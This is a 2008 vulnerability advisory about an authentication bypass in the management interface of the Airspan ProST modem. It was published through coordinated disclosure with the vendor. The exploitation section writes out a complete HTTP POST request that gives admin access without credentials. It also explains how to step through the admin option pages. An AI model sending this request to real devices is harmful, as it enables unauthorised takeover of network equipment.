Topic:              Airspan ProST Modem Management Authentication Bypass Vulnerability
Announced:          2008-03-13
Product:            Airspan ProST Antenna
Vendor: http://www.airspan.com/
Impact:             Remote shell access
Affected product:   Airspan ProST with firmware < 6.5.40.0, Hardware rev < 4.1
Credits:            Francis Lacoste-Cordeau

I. BACKGROUND

Airspan is a worldwide leader in broadband wireless with over 400 customers
in more than 100 countries. As a founding member of the WiMAX forum, Airspan
has led the way in WiMAX, being among the first wave of companies to achieve
certification for its Base Station and End User Devices.

http://www.airspan.com/

II. DESCRIPTION

Remote exploitation of an authentication bypass vulnerability in Airspan ProST
Modem management allows attackers to access all options available in administration panel.

This issue is due to a failure of the application to properly handle access validation
functionality. The access gained through this issue grants admin privileges.

III. EXPLOITATION

The attacker have to craft a malicious request.

Example:
POST /process_adv/ HTTP/1.1
Host: 10.0.0.1
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

DialogText=&Advanced=1


It will display options page number #1, which is Software Download for Firmware upgrade.
You can increment 'Advanced' value to see others options.


IV. WORKAROUND

There's actually no workaround of this issue.

V. VENDOR RESPONSE

Airspan has addressed this vulnerability and will fix this problem with a firmware update.

VI. DISCLOSURE TIMELINE

15/10/2007 Initial vendor notification
16/10/2007 Initial vendor response
13/03/2008 Coordinated public disclosure

VI. CREDIT

Francis Lacoste-Cordeau(admin@nexact.net) is credited with discovering this vulnerability.